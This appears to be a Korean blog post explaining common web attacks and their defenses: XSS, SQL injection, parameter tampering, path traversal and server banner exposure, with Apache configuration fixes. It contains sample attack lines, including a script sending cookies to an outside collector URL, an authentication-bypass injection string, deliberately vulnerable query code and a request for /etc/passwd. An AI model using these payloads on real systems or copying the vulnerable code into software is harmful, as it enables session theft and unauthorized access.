※ 웹 보안에 자주 사용되는 공격기법
1. Cross Site Scripting(크로스 사이트 스크립팅)
문제점 : 게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가 보이게해 타 사용자의 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로 전송하는등의 문제
설명 : Cross Site Scripting은 말그대로 브라우저 상에서 스크립트를 실행하여 공격하는것을 말합니다.
웹서버를 공격하는 방식이 아닌 브라우저를 통해 다른 사용자를 공격하는 것을 말합니다.
다른사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행합니다.
Cross Site Scripting은 근본적인 해결책이 없는 공격 방식으로서 굉장히 유의하지 않으면 막기 힘든 방법입니다.
공격방법 :
1 2 3 4 | <;script>; String strCookie = Document.GetCookie(); Redirect(http://www.jqdom.com/SaveCookie?Data=strCookie); <;/script>; |
위의 예제처럼 자바스크립트가 동작하는 페이지에 삽입하여, 다른사용자가 해당 페이지를 로드하는 순간에 다른 사용자의 쿠키를 해커서버에 저장하는 방식이 있을수 있습니다.
대처방법 : 예방책으로는 글을 등록할때 HTML 태그 필터링을 하여 태그를 제거하는 방법이 있습니다.
2. SQL Injection(SQL문 삽입공격)
문제점 : 웹어플리케이션에 의도적으로 sql문을 삽입하여 로그인 인증과정을 우회하거나 공격자의 악의적인 쿼리문을 DB에 보낼수 있는 문제
설명 : SQL injection은 사용자의 입력이 Back-end Database에 바로 전달 될때, 입력에 SQL 구문을 넣어 DB를 조작할수 있는 치명적인 공격 방법입니다.
공격방법 :
[HTML]
1 2 3 | <;!-- HTML에서 ID에 root'-- 값을 입력한다. [ 클라이언트 ]-->; <;input type="text" name="id" value="root'--">; <;input type="text" name="password">; |
[SERVER]
1 2 3 4 5 6 7 8 | //로그인처리. [ 서버 ] strID = request.getParameter("id"); strPassword = request.getParameter("password"); result = Query("select count(*) from User" + "where id=" + strID+ " AND password =" + strPassword); if(result == 1) { echo "로그인 성공"; } |
대처방법 : 문자열 필터링 하는방법이 있습니다. iBatis 사용할경우 ##을 사용하면 된다.
3. Parameter Manipulation(파라미터 변조)
문제점 : 웹어플리케이션이 사용자의 파라미터값을 검증하지 않을경우 이를 악용하여 어플리케이션이 비정상적으로 동작하게끔 하는 문제
설명 : WEB Application 에서 사용하는 파라메터를 강제로 입력하는 공격방법으로서 파라메터를 강제로 HTML 페이지에서 수정하여 변조된 파라메터로 서버로 전송하는 공격방법입니다.
공격방법 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <;script>; //할인율 var percent = 10; //상품할인율 function buySubmit() { var frm = document.frm; var pPrice = frm.prodPrice; var prodCnt = frm.prodPrice; var buyPrice = (pPrice * prodCnt) / (percent * 0.01); //상품가격 * 상품수량 / 할인율 frm.submit(); } <;/script>; <;form name="frm" action="buyproc.do">; 상품가격 : <;input type="text" name="prodPrice" value="3000">;원 <;-- 클라이언트 사용자 PC에서 실행되는 부분이며 손쉽게 변조가 가능합니다. -->; 상품수량 : <;input type="text" name="prodCnt" value="0">;개 <;/form>; |
위와같은 예제는 클라이언트에서 실행이되므로 사용자 PC에서 변조가 손쉽게 이루어질수있으므로 서버쪽에서 아무런 검증이 없을경우 잘못된 상품가격으로 결제처리가 됩니다.
대처방법 : 데이터가 변경이되는 로직은 클라이언트에 구현하지않는다.
어쩔수 없이 구현이 되었을경우 서버측에서 필히 검증이 되어야한다.
4. Directory/Path Traversal (디렉토리/경로 탐색)
문제점 : 웹 서버 설정상의 오류나 중요 파일의 위치 오류를 이용하여 디렉터리 리스팅을 통해 특정파일에 접근하거나 중요정보를 획득할수 있는 문제
설명 : URL에서 경로를 직접 사용을 한다면 조작된 디렉토리 명령으로 공격을 할수있습니다.
공격방법 :
1 2 3 4 | [정상적인 방법] http://jqdom.com/openFile?sample.txt [공격 방법] http://jqdom.com/openFile?/etc/passwd |
대처방법 : 디렉토리 경로는 고정으로 하며 넘어온 파일명은 문자열 필터링한다.
5. 시스템 배너 정보 노출
문제점 : Respose Header 위와같이 시스템정보가 명시되어 있음
설명 : 시스템 배너에 시스템의 서버 종류 및 버전 정보가 명시되어 있어, 공격자에게 해당 정보를 제공하고 있습니다. 공격자는 이 정보를 해당 시스템 버전에 해당하는 취약점 공격을 수행하는데 사용합니다.
대처방법 :
Apache/conf/httd.conf 설정에서
LoadModule headers_module modules/mod_headers.so 로드되었는지 확인후
ServerTokens 옵션
Prod 서버명(Apache)
Min 서버 종류, 마이너버전까지
Major 서버 종류, 메이저버전까지
OS 서버 종류, 버전, 운영체제의 종류
Full 웹서버 종류, 버전, 운영체제의 종류, 설치된 모듈
ServerTokens {옵션} #설정한 옵션에따라 Response Header Server에 보여지는 정보를 바꿀수있다. ( Prod로 설정한다. 기본은 Full로 설정되어있음 )
ServerSignature Off 설정으로 Error 페이지등에서 보게되는 웹서버 정보를 숨길 수 있다.
X-Powered-By: PHP/5.3.11 Hidden : Header unset X-Powered-By을 추가한다.
위 공격방법 말고도 많이 있지만 흔히 사용되는 방법만 정의하였습니다.
위 공격기법은 흔히 사용되는 방법이며 개발자가 소홀히 하는 부분이기도 하다.
조금만 신경을 쓰면 충분히 막을수 있으며 해결방법도 구글링에서 검색하면 많은 정보가 있습니다.
'보안 > 웹' 카테고리의 다른 글
[역공] 간단하고 깔끔한 - 웹 보안 프로그램 회피방법 (Fiddler - Web Debugging Proxy 활용) (0) | 2015.11.20 |
---|---|
SSO 인증 (0) | 2015.11.20 |
XSS(Cross Site Scripting) 공격 (0) | 2015.11.20 |
SQL 인젝션 이란? (0) | 2015.11.20 |
SQL Injection Attack Query (SQL 인젝션 공격쿼리) (0) | 2015.11.20 |